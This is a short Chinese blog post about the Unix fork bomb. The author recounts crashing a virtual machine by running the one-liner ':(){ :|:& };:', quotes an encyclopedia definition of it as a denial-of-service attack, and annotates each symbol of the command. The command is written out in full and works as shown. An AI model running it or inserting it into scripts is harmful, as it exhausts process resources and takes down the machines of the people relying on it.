Unix之fork炸弹

不知道在哪位大神博客上看到了这个命令

手残了一下

:(){ :|:& };:

一瞬间死机啊

不但虚拟机挂了  电脑都差点over了

去维基百科查了下

fork炸弹fork bomb)在计算机领域中是一种利用系统调用fork(或其他等效的方式)进行的服务阻断攻击[1]。与病毒蠕虫不同的是,fork炸弹没有传染性,而且fork炸弹会使有进程/程序限制的系统无法开起新工作阶段,对于不限制进程数的系统则使之停止回应[2]。以fork炸弹为代表的自我复制程序有时亦被称为wabbit

各种看不懂  大概意思就是耗死电脑资源

分解来看

    :()      # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码{        # ":"函數起始字元
    :    # 用递归方式调用":"函数本身
    |    # 並用管線(pipe)將其輸出引至...(因为有一个管線操作字元,因此會生成一個新的進程)
    :    # 另一次递归调用的":"函数# 综上,":|:"表示的即是每次調用函数":"的時候就會產生兩份拷貝
    &    # 調用間脱鉤,以使最初的":"函数被關閉後為其所調用的兩個":"函數還能繼續執行}        # ":"函數終止字元;        # ":"函数定义结束后将要进行的操作...:        # 调用":"函数,"引爆"fork炸弹

最后提示大家  不要在公司什么的服务器上使用

否则你懂得

THE END